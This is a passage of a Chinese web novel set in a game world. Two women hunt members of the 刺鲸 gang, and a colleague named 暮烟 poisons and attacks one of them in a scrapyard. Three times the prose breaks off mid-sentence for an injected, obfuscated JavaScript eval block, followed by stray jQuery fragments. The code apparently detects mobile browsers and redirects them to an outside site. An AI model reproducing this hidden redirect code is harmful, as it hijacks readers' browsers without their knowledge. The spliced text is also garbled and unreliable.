确认分工,唱鹿往相连的卧室走去。 原先挡在客厅与卧室中间的板子已经消失了,她猜卧室里也被清理过。 进来一看,果然如此。 卧室里干净得不可思议。 除了地板上被烟头烫出的黑点之外,一切生活痕迹都被抹除。 唱鹿先检查浴室,再搜卧室。 没想到联邦动起手来还挺周全,一趟下来,连根兽毛都没发现。 “找到了!” 听到扶鸢高喊,唱鹿立马出去。 扶鸢手持一枚纽扣大小的芯片,脚边散落着封窗用的木板和大量碎屑,“在窗外,他把芯片藏在木板后面。” “我看看,应该还能读取。” 唱鹿一边用左手去接扶鸢递来的芯片,一边用右手摘下耳坠。 她的耳坠是两根细长的正四棱柱,内置有微型通讯器。 一根向外输出投影,一根向内读取数据。 芯片插进读取的正四棱柱里,空中立马出现投影光幕,显示出读取进度。 [读取进度:0%] “这里科技已经发展到这种地步了!” 唱鹿奇怪,“你们没有吗?” “现实世界最先进的微型通讯器是手环。”扶鸢比划道,“手环上有屏幕。” “哦,那种在十几纪年前曾经流行过。” [读取进度:20%] 进度缓慢,两人就地坐下等。 不聊点什么总觉得尴尬,扶鸢主动道:“这里有很多东西和现实不一样。” “比如?” “计时单位。现实世界是年月日,一年四季,春夏秋冬,分12个月,365天,一天有24个小时,60分钟一小时,60秒一分钟。” “纪年,周期,日。其他一样。” [读取进度:50%] 唱鹿斟酌了一下措辞,说:“你们也需要吃饭睡觉。” “是,所有感受都是真实的。”扶鸢说,“开心,悲伤,舒适,疼痛,疲倦,饥饿,和现实世界没什么区别。” [读取进度:70%] “还有一点很不一样。” “嗯?” “时间的流速。现实的十天,等于游戏里的三十天。十天,也是我们进入之后规定最短的体验时间。” 唱鹿思忖片 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14823950|158533||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 刻,“如果你想回去呢?” “得去一个专门的地方。”话时,扶鸢眼睛一亮,“看,百分百了!” [读取进度:100%] [正在为载入身份信息——] [姓名:大川] [性别:男] [种族:角鳞族] [年龄:50岁] [身高:175cm] [体重:75kg] [权限:已注销] 基础信息的右侧,还有投影出的大川的三维人像。 这副人像还是他正常时的模样。 身上有暗蓝色的鳞片,脑袋上有两个卷曲朝前的角。 扶鸢瞬间变了脸色,嘴唇有点发白,“是他!” 看这模样,估计不是什么好事。 唱鹿没有急着开口,等待扶鸢主动托出。 “那天晚上就是这个人,一路从港口追着我到荒地。” “他把你开膛破肚了?” 想起扶鸢重伤时肋骨外翻的惨状,唱鹿很难想象大川竟有这种能耐。 “没有。”扶鸢阖眼,痛苦的表情应当是想起了当时的场景,“他往我胸口捅了一刀,趁我虚弱的时候,又把一块玻璃塞了进来。” 玻璃。 唱鹿想到庸医说过,扶鸢是被某种玻璃炸弹炸成重伤的。 “我想逃走,然后玻璃就炸开了。” “像炸弹那样?” “嗯,实在不可思议。明明只是一块普通的玻璃,怎么会变成炸弹……” 唱鹿轻咬下唇,心中生出猜想。 如果当时大川已经持有[魔方·拟造],那玻璃炸弹就是赐福在起作用。 拟造。 把一种的东西变为另一种完全不同的东西。 是这样吗? 萦绕在扶鸢身上的恐惧,很快转变为愤怒,“他已经死了吗?” “死了。”唱鹿稍一停,“我杀的,就在昨晚。” 这话让扶鸢的怒火平息不少,随后又问:“你用雷把他劈死了?” 唱鹿顿时感到心虚。 那招毕竟是拿两人的命在赌,因此解释时也有些结巴,“他、他变成了一种很难对付的怪物,我只能……” 不对。 “你为什么知道?” 扶鸢深深看了她一眼,“昨晚梦见被雷劈,四肢都是痛的。” “……你不是在做梦。” “嗯,现在知道不是了。” 唱鹿干笑两声。 扶鸢没和她计较,重新把视线挪回光幕上,盯着最下面的一行字—— [权限:已注销]。 “已注销是什么意思?” “不知道,点开看看。” 她依言点击,光幕在触碰下自动切换。 [您的账号已注销,无权访问组织内部信息库,如有疑问,请联系组织高层。] - 绵绵细雨中,两人并肩而行。 因为没有权限,找的芯片无法直接读取,今晚这趟可以说收获为零。 唱鹿只能寄希望于黑客。 假如连黑客也拿这枚芯片没办法,那就得直击刺鲸的高层了…… 可要找刺鲸的高层谈何容易。 更何况联邦昨夜才突袭过刺鲸的几个分基地,侥幸逃脱的残党必然会躲起来避风头。 不管怎么样,还是先从芯片下手。 可以提前做好最坏的打算,但任何可能找到风铃的线索都不能轻易放过。 唱鹿突然停下脚步,扶鸢几乎是同时驻足。 两人默契地没有下一步动作,也没有扭头看对方。 “感觉到了?”唱鹿的声音只有她和扶鸢能听见。 “嗯。”扶鸢也压低嗓音,“有人在跟踪我们。” 敌人躲在暗处。 这种被监视的感觉从走出大楼时就有,后面越发清晰。 扶鸢询问她的意见,“你想怎么做?” “我这人比较爱好和平。”唱鹿耸肩,“引出来杀了吧。” 17. 搜查 017. 这种情况下,唱鹿还有心思冷幽默一把。 扶鸢勾起唇角,有笑意但没笑声。 “准备怎么引?”扶鸢的嗓音淹没在雨中。 唱鹿飞速扫视周遭环境。 方圆五百米内,除了那栋由工厂改造而来的大楼外,其他区域都未完全开发。 道路两侧的野草疯长,多木成林,入夜后本就是天然的藏身之地。 况且,正在下雨。 怎么引?简单。 唱鹿弯腰拾起脚边的一枚圆石头,朝两人左侧的密林掷去。 石头没入暗处的同时,短暂的尖鸣取代了耳畔的雨声。 危险! 危险! 危险! 伴随着人影从林间闪出的是刀刃冷冽的光。 杀手很快。 但再快的动作,在唱鹿眼中也变成了0.5倍速。 唱鹿清楚地看到刀锋切断了一滴落下的雨珠。 破碎的水滴飞溅到扶鸢的墨镜上,刀尖只差一毫米便会割破她的脖颈。 杀手离扶鸢更近。 加之相较于一个戴着专业伪装面具的人,扶鸢这身打扮显然更像菜鸟,更好得手。 这一刀完全是冲扶鸢来的。 唱鹿擒住扶鸢的手肘往自己身后拽。 拽的同时下蹲,握紧拳手,抡圆了。 对准杀手的下巴,一个足劲的上勾拳,再接一记猛踹。 这套连招把人直接踹飞了出去。 杀手趴在被雨水浸透的泥地里,想要用手撑起上半身再站起来。 好几次起身又跌倒,最后趴下不动了。 扶鸢才反应过来,藏在墨镜下的眼睛瞪得老大,“好快!” “快吗?”唱鹿假装不知情,“一般吧。” 她暂时还不准备告诉扶鸢,自己手上除了一个完整的魔方之外,还有一块魔方碎片。 危机预警是最后的底牌,轻易不能亮出来。 揭开跟踪者的伪装面具,原来是个追月族男性。 年轻,不到三十岁。 若不是下巴被唱鹿给揍脱臼了,模样还算帅。 唱鹿在男人面前蹲下,顺手捞起他掉在水里的匕首。 一边把玩,一边问:“为什么跟踪我们?或者说,是谁指使你的?” 男人嘴里淌血,脑门的青筋蜿蜒,半边脸泡在地上的水洼里,喘着粗气,就是不答话。 唱鹿用匕首支起他的脸,“我这人没什么耐心,你确定不说?” 男人那双追月族独有的硕大的圆瞳朝上挪了几分,盯着唱鹿。 她戴着伪装面具,就连说话的声音都和平时不同,再怎么看也看不出真容。 男人放弃了。 视线朝下,一副束手就擒的表情,“说……不……不说……都……是死。” 的确。 唱鹿摊手,“不为自己争取一下?” “要杀……就杀……少!少废……话!咳咳——” 男人咳出一口浓血,捂着心口,面容扭曲。 一直冷眼旁观的扶鸢终于开口:“他是刺鲸的人。” 男人的瞳仁颤动,有了恐惧的神色。 “我在N278港口见过他。”扶鸢说,“和那个男人一起。” 和大川一起?那可就有意思了。 唱鹿笑眯眯,“你自己来的?还是组织派你来的?” 男人紧咬后槽牙,“我自己。” “噢,那就是有人派你来的。” 他怒目圆睁,“你!” “我听说联邦昨晚突袭了刺鲸的几个分基地,现在能躲的都躲起来了,你还敢在外面晃悠。”唱鹿把刀刃抵在他脸上,“你是真不怕死。” 说完,反手握住刀柄,对准男人的太阳穴往下一扎。 西瓜开瓢,人走茶凉。 扶鸢皱眉,“这就杀了?” “只是个小喽啰,问不出什么。”唱鹿说着,双手在男人身上翻找。 来去只找出一张跨境通行证,别的没有。 跨境通信证是一张特制的卡片,不同角度可以投影出不同的信息。 摆正面,显示男人的名字叫游熊。 同是刺鲸的成员,游熊的身份是什么呢? 他来到这里的目的又是什么呢? 他和大川…… 唱鹿暂时按下这方面的思索,转向扶鸢问道:“你能看出他是……” 后半截没说出口,小心谨慎总没错。 扶鸢知道她要问什么,摇头道:“不能,我们也没有分辨的方法。” 说话间,抬起头。 凝视雾雨朦胧的苍穹,扶鸢喃喃自语着。 “这个世界远比我想象中要真实。” “也更为残酷。” - “不过一些赏金猎人手里有名单。” 回到家,刚关上门,扶鸢便说了这么一句。 唱鹿摘下伪装面具,站着不动等后续。 扶鸢继续道:“他们本来以狩猎异常NPC为生,相互之间也有情报交换。一时半会儿想要分辨的确很难,但游戏运行至今已有几十年,长久下来肯定能观察到破绽。” “还挺团结。” “不过是前人栽树后人乘凉罢了。帮助和利用,有时只是形式上的不同。” 唱鹿走进厨房倒了两杯水,一杯自己喝,一杯给扶鸢。 她坐到沙发里休息,看着对面倚靠在长桌边上的扶鸢,调侃道:“看来你很有感触啊。” 扶鸢的睫毛翕动了下,没有开口。 沉默有两三分钟,握着玻璃的杯的手先动了一下,才对上唱鹿的视线。 “我很清楚这是个游戏世界,我不属于这里,所以我可以很轻易地下定决心去袭击港口,去杀某个人。” “可你不一样,现在尤其不一样。” “你杀他……没有任何感觉吗?” 唱鹿望着扶鸢的眼睛,猜不出她为什么会这么问。 一个玩家竟然会一个NPC的感受? 为所未闻,见所未见。 既然扶鸢问了,唱鹿也垂眸认真想了想,“说实话,没有。之前没有,现在也没有。” “这样的日子我已经过了十几个纪年,我深知这个世界的生存法则。弱肉强食,不会因为我……的改变,就变得公平公正。” “你知道我第一次杀人是什么时候吗?” 扶鸢稍稍低首表示好奇。 唱鹿说:“八岁。” 见她露出难以置信的表情,唱鹿笑笑道:“那个人比我大很多,是福利院的孩子王。六岁那年,他用一块尖石捅穿了我的耳膜。两年后,我以牙还牙,把水果刀插进了他的心脏。” 扶鸢微微皱起眉头。 这表情,唱鹿以为是在想她真是有够残忍。 可扶鸢下一句却是:“后来你是怎么生活的?” 唱鹿一愣。 从来没有人关心过这个问题,就连领队得知实情后也没问过。 “我在街头流浪了几年。” “然后呢?” “有个好心的阿婆收留了我。” 再后来的事,唱鹿自己也记不清了。 反正是换了几处住所,每天都在不停地打工、打工、打工,直到被领队招进安保队,才算有了一份比较稳定的工作。 唱鹿起身回房,“我去洗澡。” 刚进卧室,又退了几步出来,“你要是饿了,冰箱里有蛋糕。” 扶鸢放下水杯,“我不爱吃甜的。” 小样儿还挺挑食。 唱鹿抬了抬下巴,“自己煮泡面。” * 这天唱鹿起得很早。 醒来时,扶鸢还蜷缩在沙发上睡觉,毯子盖过脑袋,垂下几缕长发。 唱鹿勉为其难地做了份早餐,还差点把蛋煎糊了。 等到扶鸢起床,她也准备出门去上班。 “中午十一点左右我会点外 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14832480|158533||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 卖到家里,你就不要出门了。”唱鹿在玄关穿好鞋,“有事等晚上我回来再一起行动。” 说完,瞥见扶鸢尚且睡意朦胧的脸。 她就站在茶几旁,逆着阳台透进来光。 长发略显凌乱地披散在肩头,眼皮向下耷拉,睫毛又密又长。 美人就是让人赏心悦目,唱鹿不觉心情愉悦了些,“今晚带你去定制面具。” 扶鸢揉着眼睛,“你给钱?” “哈,你想得挺美,我记账呢。” 说完,唱鹿拿上雨伞出了门。 今天时间充裕,不用像昨天那样在雨中狂奔。 唱鹿刚走出公寓楼,便听到楼下便利店的老板在驱赶一个流浪汉。 流浪汉昨夜睡在了便利店门口,到现在还没睁开眼。 便利店老板骂骂咧咧,踹了他好几脚,愣是没能把人踹醒。 这种事情在这边很常见。 唱鹿路过时也只是扫了一眼,发现好像是上次和她要苹果派的那个流浪汉,没放在心上,继续朝候车站去了。 抵达安保队集合点,换完工作服。 领队拿着文件夹进来,“五分钟后,全体到会议室开会。” 暮烟在身后扯了扯唱鹿的袖子,唱鹿回头安慰道:“别紧张,跟着我。” 女孩生怯怯的应道:“好。” - “今天时间紧,任务重,我就直接进入正题了。” 领队轻敲圆桌,桌子正中央的小孔射出一道蓝光,在半空中投出两幅巨大的光幕。 左侧是伽马地区的三维区域分划图。 右侧则是十几个人的简单文字资料和立体人像。 “刺鲸,大家都听说过吧?” 见众人点头,领队便往下说:“联邦已经将刺鲸列入危险组织名单中,并在前夜突袭了他们的几个分基地。你们现在看到的就是在逃刺鲸成员中的一小部分,也是我们这次行动的目标。” “不是吧,这么多!” “瞧,联邦饭虫们不愿意干的活又落到我们头上了。” “一二三四五……一共十八个人,我们队才几个人?每人挨一枪都不够人头。” 唱鹿没有加入讨论,因为她在右侧光幕里看到一个熟人。 ——游熊。 领队举手拍了拍,示意大家安静,“现在我有两个好消息,你们想不想听?” “想!” “现在对我来说最好的消息就是任务取消。”一个队员说。 如此诙谐引起了其他队员的大笑。 笑声平息后,领队才无奈地摇摇头,“你们啊你们……总之,第一个好消息是我们这次只负责搜查,不需要逮捕。” 果然是好消息,席间响起鼓掌声表示庆贺。 “那第二个好消息是什么?” “第二个好消息——” 领队再次敲桌子,右侧光幕有几个人头消失了,“上班前刚收到消息,消失的这十一个已经被逮捕,或者已经确认死亡。现在我们要在A区——” 她的手指向左侧光幕上被涂上红色的区块,“进行地毯式搜查,尽全力找到剩下七个人的踪迹,一有发现立即上报,千万不要和目标有接触,尽可能避免交火,明白了吗?” 众人异口同声,“明白!” 领队满意地点点头,“虽然这只是一次搜查任务,但对手都是刺鲸的成员,其中可能存在受赐者。请各位务必要小心、小心、再小心!记住,保住小命是第一要务,其次才是完成任务。” “老规矩,两人一组,现在我开始点名。” 唱鹿盯着光幕上的八个人头,微微眯起双眼。 不,任务目标不是八个,而是七个。 游熊已经死了,只是联邦还没有发现他的尸体,所以没有抹去他的人像。 至于剩下的七个,她默默记住他们的模样和名字。 每一个都是她狩猎的目标,是找到风铃的可能线索。 猎杀时间到了。 18. 毒素 018. [A-11与A-12,暂无发现可疑人员踪迹。] [A-13,坐标(156,78)房屋屋主表示曾在昨夜见过一名可疑人员,但未看清其面容,暂做登记。] [A-14,坐标(189,30)废弃仓库内发现一枚可疑芯片,待带回核实内容。] [A-15……] “写完了吗?” “快了,还有一行。” “嗯,写完吃饭。”唱鹿把刚买的便当放到暮烟手边。 现在是中午十一点。 工作时间过半,但任务进度还不到一半。 暮烟是新人,又是第一次参与搜查任务,唱鹿作为前辈自然要放慢速度仔细教她。 下午必须得加快速度了,不然任务没法完成。 暮烟敲完最后一行字,把光幕翻向唱鹿那边,“您帮我看看。” 检查过没什么大错。 唱鹿点点头,暮烟便把报告先发给领队。 吃饭的功夫,唱鹿还不忘给留守在家的扶鸢也点份外卖。 “联邦为什么突然要抓刺鲸的人呢?” “无非是利益有冲突。” “我听其他人也这么说。” 暮烟好奇地扭过头来,“如果我们抓住了他们,联邦会拿他们怎么样呢?” 唱鹿扫了她的一眼,“这不是你我该考虑的事情。” “可是……” “该出发了,时间不等人。” 唱鹿顺手把饭盒丢进脚边的垃圾桶里,推开门,迎着烈日走出便利店。 - 下午要搜查的区域为A16至A20,整体面积是早上五个区域面积总和的一倍不止。 两人加快步调和节奏,迅速排查了A16到A19区。 最后留了一个小时,全都用来搜A20区。 A20区比较特殊,它是伽马地区唯一的一处交通工具报废场。 虽有联邦派遣专人管理,也安排了人日夜轮值,奈何车场面积太大,报废的车辆太多,确实容易藏人。 和早班负责人通过气后,唱鹿和暮烟走进了报废场。 伽马地区范围内所有损坏的、过时的、违规的,不管是摩托还是车辆,甚至还有悬浮电轨车的一两节车厢,都被堆积在这里。 由于数量过多,这些金属被反复压缩,有些已经压得只有书本厚度,一片片垒成墙壁。 报废场的路径蜿蜒,没有规律,走起来如同迷宫一般。 越往深处,金属堆叠越多,通讯信号也就越差。 早班负责人给了唱鹿一枚信号弹。 迷路或是遇见危险时可以发射出去,负责人会立即赶来。 信号差还不是最麻烦的。 报废的交通工具实在太多,人在场子里,走到哪里都是“墙”,下午阳光无法穿透这些金属,到处都是阴影。 暮烟是逐日族,对光线交替格外敏感,若是长时间呆在暗处,身体机能会极速下降。 唱鹿已经看出她有些不适了。 “你找个有光的地方呆着吧,后面区域我去就行。” “没关系,我可以。” 见她坚持,唱鹿也没拒绝,“撑不住记得说。” 两人继续往里走。 在经过一个生锈的车壳时,暮烟喊了她一声,“鹿姐。” 唱鹿停下脚步,“不舒服吗?” “没有。” 这里的“墙”不高,太阳正要落下。 暮烟的脸上还看不出疲惫,她站在一道光束里,像是在汲取所剩无几的阳光,“我有件事想问你。” 唱鹿生出一种不好的预感。 暮烟抬头看向她,眼神和那日在枪械训练区里一样,有些阴恻恻的。 “我爸到底在哪儿?” 这个问题让唱鹿心头一紧。 但好歹是老江湖了,她脸上的神情没有任何变化,“他是刺鲸的成员,我找到他时,他已经被联邦的人击毙了。” 暮烟的表情有点扭曲。 也不知道是无法接受父亲已死,还是无法接受大川瞒着她加入刺鲸这件事。 “我之前没有向你坦白,是因为联邦已经盯上了刺鲸。他们迟早会查到你头上,能自然表现出一无所知,总假装不知道要好。” “……”暮烟咬着下唇不说话。 过了一小会儿,她才咬牙切齿地挤出两个字。 “说谎。” 唱鹿不觉眉峰一跳。 确实是谎言,可暮烟能这么笃定地指出她在撒谎。 绝对有猫腻。 她笑笑,“你怎么知道我说谎?” “因为我试过了!”暮烟低头看着自己的双手,嘴唇颤抖着,“那样的他是杀不死的!他到底在哪儿!” “我说了,他已经死了。” “说谎!”暮烟歇斯底里地吼着。 唱鹿说:“你不在乎他是死是活,你只是想知道他在哪里,对吧?” 女孩闻言,竖瞳再次锁定在她身上。 “你早就知道大川变异了,故意引我去找他。你知道,我和他见面肯定会有一场血战。不管谁死了,你都能从中受益。” “因为他身体里有一块完整的魔方。” “而我——”唱鹿拿出口袋里的魔方碎片,“有你那块魔方的一角碎片。” * 魔方是神给予其眷族的赐福。 其他人都在身处迷雾中时,暮烟就知道了这个真相。 她有两块魔方,是母亲留下的遗物。 父亲一直沉溺在失去妻子的痛苦中,很长一段时间不让她碰母亲的遗物。 若不是最近父亲忙于工作没空回家,她也不敢偷偷去打开那个大箱子。 这两块魔方被用废纸包裹着压在箱子底部。 谁都不会好奇,谁都不会打开。 可她偏偏感觉到了一种奇妙的力量……一种好像不属于这个世界的力量。 这是神赐予她的宝物。 是的,一定是这样。 只要父亲去上班,她就会拿出两块魔方。 观察它们自带的光芒,观察它们的变化。 渐渐的,也观察到它们不喜欢对方。 它们会趁她不注意的时候,悄悄远离对方,拉开距离。 她知道,魔方是活的。 它们有自己的思想和喜好。 她也知道,这两块魔方都喜欢她。 可惜这种美好的日子没能持续多久。 因为她忘了早起,父亲回来时没能吃上热乎乎的早饭,父亲打了她。 她早已习惯被打。 母亲生前也经常挨打,她身为母亲的女儿,也承受着相同的痛楚。 理所应当。 可父亲夺走了她的魔方。 父亲开心了,她不开心。 她冷眼观察着父亲每一天的变化。 她知道总有一天,父亲会为此付出代价。 魔方没有让她失望。 这种腐蚀来得很快,别人或许看不出来。 朝夕相处的女儿,清清楚楚地窥见父亲被吞噬。 父亲变得更加暴力,即便没有犯错也会朝她挥拳。 父亲变得十分嗜血,每次回家身上都有血腥味。 父亲身上开始长出奇怪的绒毛。 父亲不再是父亲。 她想趁父亲睡着偷走其中一个魔方。 受到魔方引诱的,不止她一个。 父亲立马察觉到了。 他追着她,掀翻了家里的所有东西。 到处都是玻璃和水,还有血迹。 慌乱中。 魔方碎了一块。 她不得已把魔方吞进了肚子里,只有这样才能保住它。 父亲再也伤害不到她了。 魔方在帮她。 不管父亲想对她怎么样,她都能提前知道。 终于,终于。 她等到了这一天。 父亲很快就会变成怪物。 而她要趁机夺回属 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14841745|158533||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 于她的另一块魔方。 她在饭里下毒。 剧毒是没有用的,她已经尝试过。 那就把他迷晕,再往浴缸里放点能够腐蚀血肉的药剂……真可惜,基本腐蚀得露出骨头,也还是能马上恢复。 父亲已经变成怪物了。 终有一天,所有得到魔方的人都会变成怪物。 - “你也给我下毒了。”唱鹿平静地说,“为了答谢我的那块苹果派,还有昨天的蛋糕。” 暮烟淡淡回应道:“看来你一点也不意外。” 唱鹿摇头表示确实不意外,又说:“我一开始就怀疑你了。” “为什么?” “招聘帖指定要女生,看似很柔弱一心只想找到失踪的父亲,又反复强调‘找不到也没关系’。” “就这?” “当然不止这些。”唱鹿低头扫了眼身上的装备,“安保队一直想招个受赐者,但因为待遇问题,迟迟没能实现。我前一天刚结束你的委托,你后一天加入我所在的安保队,你不觉得太巧了吗?这个世界没有巧合,一切都是安排好的。” “哦,对了。那块苹果派被一个流浪汉吃了。他今天死在了我家楼下。” “蛋糕我也没吃,因为我除了果糖过敏之外,还不喜欢吃甜食。” 暮烟的脸色难看了些。 毒药是她计划中的一部分,只是没想到唱鹿对她的怀疑来得这么早。 两人中间隔了两三米,唱鹿问她:“你怎么知道魔方碎片在我身上?” 暮烟冷笑,笑她的无知,“你难道没有感觉到吗?你手上的碎片迫切地想要回到我身边。” “可是在我接到你的委托之前,我们似乎没有见过面吧?” “Tsuda.”暮烟缓声道,“沉睡在这片土地之下的神祗,是祂给了我启示——一个拥有浅妃色头发的年轻女人。纵观整个伽马地区,除了你之外没有别人。” 唱鹿一时半会无法消化这番话。 神祗和启示什么的……听起来更像福音地区才会流行的秘密宗教。 可暮烟说出的那个名字:Tsuda. 让唱鹿想起[魔方·拟造]的信息里有一行写着[隶属:Afkth]。 Afkth. Tsuda. 都不像是这个世界的人会使用的名字。 它们真的是人名吗? 又或者,它们代表着什么呢? 暮烟的冷笑越发深刻,看向唱鹿的眼神也充满了上位者的鄙夷,“我从你脸上看到了困惑和迷茫。” 她摊开手,一副理所当然的表情,“未曾得到神祗眷顾的蝼蚁,自然无法理解眷族口中的神迹。你注定会死,而我必须拿回本就属于我的东西!” 暮烟拔刀的瞬间,危机感应响起。 短暂的尖鸣让唱鹿浑身的肌肉即刻紧绷,清楚地知道对方是受赐者,也让她的肾上腺素飙到最高。 两人距离太近。 拔枪射击不占优势,唱鹿几乎是同时也摸出藏在靴子外侧的匕首。 意外在此时出现。 她明明已经躲开了暮烟劈砍而来的第一刀,准备反攻刺穿对方的心脏。 慢了。 不,不是她慢了。 如果在她眼里中暮烟的行动比平常要慢一倍。 反之,在暮烟看来,她的行动则是慢了两倍甚至是三倍! 更致命的是,暮烟知道她的弱点! 第一击劈砍让唱鹿侥幸躲过,第二次袭来便是对准了她的左耳。 眼看刀尖就要碰到耳廓。 唱鹿完全靠本能作出反应,举起左手去挡下这一刀。 锋利的刀刃划破手背。 除去最开始溢出的血是鲜红色的,后续流出的都呈现出中毒时才有的暗红。 疼痛之余,但唱鹿发现自己的五感开始变得迟钝。 或者说,麻痹。 暮烟玩弄着手里的刀,得意道:“五分钟很快的。我的刀也很快,不会让你太痛苦。” 19. 蝼蚁 019. 前方是迷宫般不知通向何处的小路,后方是紧追不舍的暮烟。 这种步步紧逼的感觉,仿佛昨日重现。 一对父女。 一个在黑夜,一个在白天。 变着法子追她,都想要杀了她。 唱鹿拐过一处用废弃金属堆成的墙角,蹲靠在阴影之下。 安保队的制服内置有急救胶囊。 她在逃走时用胶囊里的绷带简单包扎过左手,可这伤口依旧血流不止。 除了麻痹神经的毒素外,暮烟的刀刃上肯定还有可以破坏凝血功能的毒。 这个看似柔弱的女孩简直像条毒蛇。 一旦被咬上一口,纵使不死,也要吃不少苦头。 两种毒素正在唱鹿体内乱窜。 她可以清晰地感觉到四肢越来越重,反应越来越迟钝。 大脑离宕机只有一步之遥。 必须想办法对付暮烟。 唱鹿告诉自己一定要保持清醒,绝对不能让麻毒控制她的思绪。 可在这种危急关头,她首先想到的却是要提醒扶鸢。 提醒扶鸢什么? 唱鹿甚至都没能立即反应过来。 愣了足足三秒,她才想起得提醒扶鸢冰箱里的蛋糕有毒,千万不能吃。 现在还惦记别人呢? 虽说扶鸢是她的另外半条命,可扶鸢打开冰箱的概率,比她被暮烟毒死的概率小多了。 有些……有些喘不上气了。 身中麻毒之后,唱鹿花了比平时多三倍的力气,跑得肺都要炸了,才勉强从暮烟连发的子弹下躲开。 现在她的左手已经完全抬不起来了。 再过一分钟,整个左侧身子也会麻痹,到时候连正常走路都难,更别说思考了。 趁脑子还能转,赶紧想想办法! 不能直接攻击暮烟。 暮烟手里有魔方,她的危机预警比唱鹿的更强,降速持续的时间更久,倍速更缓慢。 真的完全没有弱点吗? 不一定。 魔方碎片到唱鹿手上有段时间了,期间也遇险生效果几回。 她多少能摸清一点规律。 这块魔方所给予的赐福其最大优势在于降速。 不,准确说是,被袭击者相对于袭击者而言,其行动速度加快。 如果有一人引发受赐者的相对降速,同时另一个人利用比受赐者更快的速度对其进行攻击。 没错,要用多重攻击。 这是目前最好的突破口,也是唯一破局的可能。 设置陷阱,找个帮手,都可以同时对暮烟实施多重攻击。 问题在于没时间了。 唱鹿的脑袋开始迷糊,视觉和听觉都变得很钝。 眼前这些堆积成山的金属片,层层叠叠,一晃又像是融为了一体。 原本还留心着后头有没有脚步声,现在连自己的呼吸声都有点听不大清楚了。 血迹一路没断过,暮烟找到她是迟早的事。 如果可以再拖一拖,拖到太阳下山…… 太阳下山…… 眼皮沉得如同压了千吨石,脑子也不灵光了。 唱鹿不由自主地往侧边倒去。 然后,躺进了一个柔软的怀里。 她艰难地撑起眼皮,第一眼先是注意到链路出现了。 于是顺着链路往上寻找,扶鸢单手搂着她,正垂眸观察她的脸色,想必很难看。 唱鹿皱眉,“你怎么来了?” 扶鸢冷声应道:“我要不来,你就死了。” 毕竟是半条命嘛。 唱鹿挤出一抹笑,想说点什么,没力气开口。 她失血过多,中毒太深,能撑到现在委实不容易。 扶鸢让唱鹿的手搭在自己肩上,“先离开这里。” 因为通感,她多少也受到了影响,第一次没能站起来,第二次尝试才成功。 “看来我得早点习惯这种感觉。”扶鸢小声吐槽道。 “知道我的痛苦了吧……”唱鹿再虚弱也不忘附和。 扶鸢想往外走,唱鹿赶忙制止,“别出去。她是逐日族,我们找个隐蔽的暗处躲一躲。” “好。” 两人在场里兜兜转转,找到一个破旧的集装箱。 集装箱的顶部是空的,抬头就能望到天。角度问题,落日余晖照不进里面。 没有更好的选择,她们只能进入集装箱。 让唱鹿靠在角落里坐下后,扶鸢说:“我看看伤口。” 拆开左手上染血的纱布,刀伤恶化得极快,已经开始流脓了。 扶鸢没说什么,往自个身上摸索。 以为她带了愈合剂正在找,唱鹿摇摇头,“没用的。” “不试试怎么知道。”扶鸢掏出的不止是愈合剂,还有解毒剂。 先打解毒,后打愈合。 暮烟的毒还是厉害,两根药剂注射下去,竟没有好转。 只是头脑清醒了些许。 扶鸢用新的绷带帮她包扎。 唱鹿默默调整呼吸,神思逐渐清明。 “扶鸢。” “你怎么知道我中毒了?” 扶鸢头也不抬,专注手上的工作,“冰箱里那块蛋糕的气味不对。” 不等唱鹿回应,继续说:“这种下毒手法我以前见过,虽然是在现实世界里。还有,你昨晚和我说过,那块蛋糕是新同事送的。所以我有充分的理由怀疑她是想直接毒死你。既然下毒没能成功,那么她今天肯定会找机会再次对你下手。” 这鼻子,不去当警犬可惜了。 唱鹿悄悄在心中揶揄,点了点头。 包扎完了,扶鸢问:“你打算怎么做?这位睚眦必报的小姐。” “我就当你是在夸奖我。” 扶鸢轻哂,“还能开玩笑,看来你的伤没什么问题了。” “我命硬,一时半会儿还死不了。”唱鹿警惕地朝集装箱入口处望了一眼,“但那个人也不好对付,她身上有魔方。” “她是受赐者?” 唱鹿颔首,将暮烟的赐福内容详细告知扶鸢。 也说了破局的想法。 “听起来的确棘手。这种能力如果用得好,几乎无敌。”扶鸢思忖道,“我们可以尝试一起进攻。 “可以是可以,但你别忘了,我中了毒。而你在通感的影响下,实力也远不如正常水平。”唱鹿说,“比起正面出击,远近配合的成功率更高。” 两人对视,不必明说也知道对方此时在想什么。 一个计划已经形成。 “善用毒者,硬实力肯定很差。”扶鸢抬头看了眼天空,“马上就要入夜了,如果我是她,我宁愿躲在暗处,等待你毒发身亡。” “我来当诱饵。”唱鹿笃定道,”暮烟一定会来。” - 